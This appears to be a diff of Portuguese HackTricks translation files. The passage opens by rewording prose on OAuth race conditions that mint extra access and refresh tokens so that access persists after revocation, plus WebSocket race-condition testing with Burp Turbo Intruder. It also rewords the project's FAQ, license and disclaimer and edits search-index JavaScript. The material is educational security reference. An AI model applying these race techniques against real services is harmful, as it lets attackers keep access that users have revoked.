+O **problema** aparece quando você **o aceita** e isso envia automaticamente um **`authorization_code`** para a aplicação maliciosa. Em seguida, essa **aplicação abusa de um Race Condition no OAUth service provider para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ela vai explorar o fato de que você aceitou que a aplicação acesse seus dados para **criar várias contas**. Então, se você **deixar de permitir que a aplicação acesse seus dados, um par de AT/RT será excluído, mas os outros ainda permanecerão válidos.**
 #### Race Condition em `Refresh Token`
-Uma vez que você tenha **obtido um RT válido** você pode tentar **abusar dele para gerar vários AT/RT** e **mesmo que o usuário cancele as permissões** para a aplicação maliciosa acessar seus dados, **vários RTs ainda permanecerão válidos.**
+Uma vez que você tenha **obtido um RT válido** você pode tentar **abusar dele para gerar vários AT/RT** e **mesmo se o usuário cancelar as permissões** da aplicação maliciosa para acessar seus dados, **vários RTs ainda permanecerão válidos.**
 ## **RC em WebSockets**
- No [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) você pode encontrar um PoC em Java para enviar mensagens WebSocket em **paralelo** para abusar de **Race Conditions também em WebSockets**.
+- Em [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) você pode encontrar um PoC em Java para enviar mensagens websocket em **paralelo** para abusar de **Race Conditions também em Web Sockets**.
- Com o WebSocket Turbo Intruder do Burp você pode usar o engine **THREADED** para abrir múltiplas conexões WS e disparar payloads em paralelo. Comece pelo exemplo oficial e ajuste `config()` (contagem de threads) para concorrência; isso frequentemente é mais confiável do que agrupar em uma única conexão ao disputar estado no servidor entre handlers WS. Veja [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
+- Com o Burp’s WebSocket Turbo Intruder você pode usar o engine **THREADED** para gerar múltiplas conexões WS e disparar payloads em paralelo. Comece pelo exemplo oficial e ajuste `config()` (contagem de threads) para concorrência; isso costuma ser mais confiável do que agrupar em uma única conexão ao competir pelo estado do lado do servidor entre handlers WS. Veja [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
 ## Referências
--- a/src/welcome/hacktricks-values-and-faq.md
+++ b/src/welcome/hacktricks-values-and-faq.md
@ -1,19 +1,19 @@
-# Valores do HackTricks & FAQ
+# Valores & FAQ do HackTricks
 {{#include ../banners/hacktricks-training.md}}
 ## Valores do HackTricks
 > [!TIP]
-> Estas são os **valores do Projeto HackTricks**:
+> Estes são os **valores do Projeto HackTricks**:
 >
-> - Dar **GRÁTIS** acesso a recursos **educacionais de hacking** para **TODOS** na Internet.
+> - Dar acesso **GRATUITO** a recursos **educacionais de hacking** para **toda** a Internet.
->  - Hacking é sobre aprendizado, e o aprendizado deve ser o mais gratuito possível.
+>  - Hacking é sobre aprender, e aprender deve ser o mais gratuito possível.
->  - O propósito deste livro é servir como um **recurso educacional** abrangente.
+>  - O objetivo deste livro é servir como um **recurso educacional** abrangente.
-> - **ARMAZENAR** técnicas incríveis de **hacking** que a comunidade publica, dando aos **AUTORES** **ORIGINAIS** todos os **créditos**.
+> - **ARMAZENAR** técnicas incríveis de **hacking** que a comunidade publica, dando aos **AUTORES ORIGINAIS** todos os **créditos**.
->  - **Não queremos os créditos de outras pessoas**, apenas queremos armazenar truques legais para todos.
+>  - **Não queremos os créditos de outras pessoas**, nós apenas queremos armazenar truques legais para todos.
 >  - Também escrevemos **nossas próprias pesquisas** no HackTricks.
->  - Em vários casos escreveremos apenas **no HackTricks um resumo das partes importantes** da técnica e **encorajaremos o leitor a visitar o post original** para mais detalhes.
+>  - Em vários casos vamos apenas escrever **no HackTricks um resumo das partes importantes** da técnica e **encorajar o leitor a visitar o post original** para mais detalhes.
 > - **ORGANIZAR** todas as técnicas de hacking no livro para que seja **MAIS ACESSÍVEL**
 >  - A equipe do HackTricks dedicou milhares de horas gratuitamente **apenas para organizar o conteúdo** para que as pessoas possam **aprender mais rápido**
@ -23,34 +23,34 @@
 > [!TIP]
 >
-> - **Muito obrigado por estes recursos, como posso agradecer?**
+> - **Muito obrigado por esses recursos, como posso agradecer?**
 Você pode agradecer publicamente às equipes do HackTricks por reunir todos esses recursos em um tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
-Se estiver especialmente agradecido, você também pode [**patrocinar o projeto aqui**](https://github.com/sponsors/carlospolop).\
+Se você estiver especialmente grato, também pode [**patrocinar o projeto aqui**](https://github.com/sponsors/carlospolop).\
 E não esqueça de **dar uma estrela nos projetos do Github!** (Encontre os links abaixo).
 > [!TIP]
 >
 > - **Como posso contribuir para o projeto?**
-Você pode **compartilhar novas dicas e truques com a comunidade ou corrigir bugs** que encontrar nos livros enviando um **Pull Request** para as respectivas Github pages:
+Você pode **compartilhar novas dicas e truques com a comunidade ou corrigir bugs** que encontrar nos livros enviando um **Pull Request** para as páginas correspondentes do Github:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
+- https://github.com/carlospolop/hacktricks
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
+- https://github.com/carlospolop/hacktricks-cloud
 Não esqueça de **dar uma estrela nos projetos do Github!**
 > [!TIP]
 >
-> - **Posso copiar algum conteúdo do HackTricks e colocar no meu blog?**
+> - **Posso copiar algum conteúdo do HackTricks e colocá-lo no meu blog?**
-Sim, você pode, mas **não se esqueça de mencionar o(s) link(s) específico(s)** de onde o conteúdo foi retirado.
+Sim, você pode, mas **não esqueça de mencionar o(s) link(s) específico(s)** de onde o conteúdo foi retirado.
 > [!TIP]
 >
 > - **Como posso citar uma página do HackTricks?**
-Desde que o link **da(s)** página(s) de onde você tirou a informação apareça, isso é suficiente.\
+Desde que o link **da(s)** página(s) de onde você obteve a informação apareça, isso é suficiente.\
 Se você precisar de um bibtex, pode usar algo como:
 ```latex
@misc{hacktricks-bibtexing,
@ -63,46 +63,46 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
 > [!WARNING]
 >
 > - **Posso copiar todo o HackTricks no meu blog?**
->
+
-> **Prefiro que não**. Isso **não vai beneficiar ninguém**, já que todo o **conteúdo já está publicamente disponível** nos livros oficiais do HackTricks de forma gratuita.
+**Prefiro que não**. Isso **não vai beneficiar ninguém**, já que todo o **conteúdo já está publicamente disponível** nos livros oficiais do HackTricks gratuitamente.
->
+
-> Se você teme que desapareça, basta fazer um fork no Github ou baixá‑lo; como eu disse, já é gratuito.
+Se você teme que vá desaparecer, apenas faça um fork no Github ou baixe-o; como eu disse, já é gratuito.
 > [!WARNING]
 >
-> - **Por que vocês têm patrocinadores? Os livros do HackTricks têm fins comerciais?**
+> - **Por que vocês têm patrocinadores? Os livros do HackTricks são para fins comerciais?**
->
+
-> O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hacking **GRATUITOS** para **TODO** o mundo. A equipe do HackTricks dedicou **milhares de horas** para oferecer este conteúdo, novamente, de **GRAÇA**.
+O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hacking **GRATUITOS** para **TODAS** as pessoas. A equipe do HackTricks dedicou **milhares de horas** para oferecer este conteúdo, novamente, **GRATUITAMENTE**.
->
+
-> Se você acha que os livros do HackTricks são feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**.
+Se você acha que os livros do HackTricks são feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**.
->
+
-> Temos patrocinadores porque, mesmo com todo o conteúdo sendo GRATUITO, queremos **dar à comunidade a possibilidade de apreciar nosso trabalho** se assim desejarem. Portanto, oferecemos a opção de doar ao HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e **empresas relevantes de cybersecurity** podem patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre posicionados em locais visíveis, mas que **não atrapalham o processo de aprendizagem** caso alguém foque no conteúdo.
+Temos patrocinadores porque, mesmo que todo o conteúdo seja GRATUITO, queremos **oferecer à comunidade a possibilidade de apreciar nosso trabalho** se desejarem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e **empresas relevantes de cibersegurança** podem patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais onde fiquem **visíveis** mas **não atrapalhem o processo de aprendizagem** caso alguém foque no conteúdo.
->
+
-> Você não vai encontrar o HackTricks cheio de anúncios irritantes como em outros blogs com muito menos conteúdo, porque o HackTricks não foi feito para fins comerciais.
+Você não encontrará o HackTricks cheio de anúncios irritantes como outros blogs com bem menos conteúdo que o HackTricks, porque o HackTricks não é feito para fins comerciais.
 > [!CAUTION]
 >
 > - **O que devo fazer se alguma página do HackTricks estiver baseada no meu post do blog, mas não estiver referenciada?**
->
+
-> **Lamentamos muito. Isso não deveria ter acontecido**. Por favor, nos avise via issues do Github, Twitter, Discord... com o link da página do HackTricks que contém o conteúdo e o link do seu blog e **nós verificaremos e adicionaremos a referência o mais rápido possível**.
+**Lamentamos muito. Isso não deveria ter acontecido**. Por favor, nos avise via issues no Github, Twitter, Discord... o link da página do HackTricks com o conteúdo e o link do seu blog e **verificaremos e adicionaremos a referência o mais rápido possível**.
 > [!CAUTION]
 >
-> - **O que devo fazer se houver conteúdo do meu blog no HackTricks e eu não quiser que esteja lá?**
+> - **O que devo fazer se houver conteúdo do meu blog no HackTricks e eu não quiser que ele esteja lá?**
->
+
-> Note que ter links para sua página no HackTricks:
+Observe que ter links para sua página no HackTricks:
->
+
-> - Melhora o seu **SEO**
+- Melhora seu **SEO**
-> - O conteúdo é **traduzido para mais de 15 idiomas**, possibilitando que mais pessoas acessem esse conteúdo
+- O conteúdo é **traduzido para mais de 15 idiomas**, tornando possível que mais pessoas acessem esse conteúdo
-> - **HackTricks incentiva** as pessoas a **verem sua página** (várias pessoas nos disseram que, desde que alguma página delas entrou no HackTricks, elas recebem mais visitas)
+- **HackTricks incentiva** as pessoas a **verem sua página** (várias pessoas nos disseram que desde que alguma página delas apareceu no HackTricks passaram a receber mais visitas)
->
+
-> No entanto, se você ainda deseja que o conteúdo do seu blog seja removido do HackTricks, apenas nos informe e nós **removeremos definitivamente todo link para o seu blog**, e qualquer conteúdo baseado nele.
+No entanto, se você ainda quer que o conteúdo do seu blog seja removido do HackTricks, apenas nos informe e nós **removeremos definitivamente todo link para seu blog**, e qualquer conteúdo baseado nele.
 > [!CAUTION]
 >
 > - **O que devo fazer se encontrar conteúdo copiado e colado no HackTricks?**
->
+
-> Nós sempre **damos crédito aos autores originais**. Se você encontrar uma página com conteúdo copiado e colado sem a fonte original referenciada, nos avise e nós ou **removeremos**, ou **adicionaremos o link antes do texto**, ou **reescreveremos incluindo o link**.
+Sempre **damos todos os créditos aos autores originais**. Se você encontrar uma página com conteúdo copiado sem a fonte original referenciada, nos avise e nós iremos **removê-la**, **adicionar o link antes do texto**, ou **reescrevê-la adicionando o link**.
 ## LICENÇA
@ -112,31 +112,31 @@ Copyright © Todos os direitos reservados, salvo indicação em contrário.
 - Atribuição: Você tem permissão para:
 - Compartilhar — copiar e redistribuir o material em qualquer meio ou formato.
- Adaptar — remixar, transformar e criar a partir do material.
+- Adaptar — remixar, transformar e criar obras derivadas do material.
 #### Termos Adicionais:
- Conteúdo de Terceiros: Algumas partes deste blog/livro podem incluir conteúdo de outras fontes, como excertos de outros blogs ou publicações. O uso desse conteúdo é feito sob os princípios do uso justo ("fair use") ou com permissão explícita dos respectivos detentores de direitos autorais. Consulte as fontes originais para informações específicas de licenciamento sobre conteúdo de terceiros.
+- Conteúdo de Terceiros: Algumas partes deste blog/livro podem incluir conteúdo de outras fontes, como trechos de outros blogs ou publicações. O uso de tal conteúdo é feito sob os princípios de fair use ou com permissão explícita dos respectivos detentores de direitos autorais. Por favor, consulte as fontes originais para informações de licenciamento específicas sobre conteúdo de terceiros.
- Autoria: O conteúdo original criado pelo HackTricks está sujeito aos termos desta licença. Recomenda‑se atribuir este trabalho ao autor ao compartilhá‑lo ou adaptá‑lo.
+- Autoria: O conteúdo original produzido pelo HackTricks está sujeito aos termos desta licença. Recomenda-se atribuir este trabalho ao autor ao compartilhá-lo ou adaptá-lo.
-#### Exceções:
+#### Isenções:
- Uso Comercial: Para consultas sobre uso comercial deste conteúdo, por favor entre em contato comigo.
+- Uso Comercial: Para consultas relacionadas ao uso comercial deste conteúdo, por favor entre em contato comigo.
-Esta licença não concede quaisquer direitos sobre marcas registradas ou branding relacionados ao conteúdo. Todas as marcas e identidades visuais presentes neste blog/livro são propriedade de seus respectivos donos.
+Esta licença não concede quaisquer direitos de marca registrada ou de branding em relação ao conteúdo. Todas as marcas registradas e identidades visuais apresentadas neste blog/livro são propriedade de seus respectivos proprietários.
 **Ao acessar ou usar o HackTricks, você concorda em cumprir os termos desta licença. Se você não concorda com estes termos, por favor, não acesse este site.**
 ## **Aviso Legal**
 > [!CAUTION]
-> Este livro, 'HackTricks', destina‑se apenas a fins educacionais e informativos. O conteúdo deste livro é fornecido "no estado em que se encontra", e os autores e editores não fazem declarações ou garantias de qualquer tipo, expressas ou implícitas, sobre a completude, precisão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você deposite em tais informações é, portanto, estritamente por sua conta e risco.
+> Este livro, 'HackTricks', destina-se apenas a fins educacionais e informativos. O conteúdo deste livro é fornecido "no estado em que se encontra" e os autores e editores não fazem declarações ou garantias de qualquer tipo, expressas ou implícitas, sobre a integridade, exatidão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você deposite em tais informações é, portanto, estritamente por sua conta e risco.
 >
-> Os autores e editores não serão em hipótese alguma responsáveis por qualquer perda ou dano, incluindo, sem limitação, perdas ou danos indiretos ou consequenciais, ou qualquer perda ou dano resultante de perda de dados ou lucros decorrentes de, ou relacionados ao uso deste livro.
+> Os autores e editores não serão em nenhum caso responsáveis por qualquer perda ou dano, incluindo, sem limitação, perda ou dano indireto ou consequente, ou qualquer perda ou dano decorrente de perda de dados ou lucros decorrentes de, ou em conexão com, o uso deste livro.
 >
-> Ademais, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos, e não devem ser usadas para atividades ilegais ou maliciosas. Os autores e editores não endossam nem apoiam atividades ilegais ou antiéticas, e qualquer uso da informação contida neste livro é por conta e risco do usuário.
+> Além disso, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos, e não devem ser usadas para atividades ilegais ou maliciosas. Os autores e editores não endossam ou apoiam quaisquer atividades ilegais ou antiéticas, e qualquer uso das informações contidas neste livro é por conta e risco do usuário.
 >
-> O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro, e deve sempre buscar aconselhamento e assistência profissional ao tentar implementar qualquer técnica ou dica aqui descrita.
+> O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro, e deve sempre buscar aconselhamento e assistência profissional ao tentar implementar quaisquer das técnicas ou dicas aqui descritas.
 >
 > Ao usar este livro, o usuário concorda em isentar os autores e editores de qualquer e toda responsabilidade por quaisquer danos, perdas ou prejuízos que possam resultar do uso deste livro ou de qualquer informação nele contida.
--- a/theme/ai.js
+++ b/theme/ai.js
@ -491,3 +491,4 @@
    handle.addEventListener("touchstart", onStart, { passive: false });
  }
 })();
--- a/theme/ht_searcher.js
+++ b/theme/ht_searcher.js
@ -68,11 +68,11 @@
      const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
      const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
-      const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
+      const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
-      const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
+      const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
-      const MAIN_REMOTE_SOURCES  = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
+      const MAIN_REMOTE_SOURCES  = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
-      const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
+      const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
      const indices = [];
      const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js',        false); if(main)  indices.push(main);
@ -208,3 +208,4 @@
    listOut.classList.toggle('hidden',!docs.length);
  };
 })();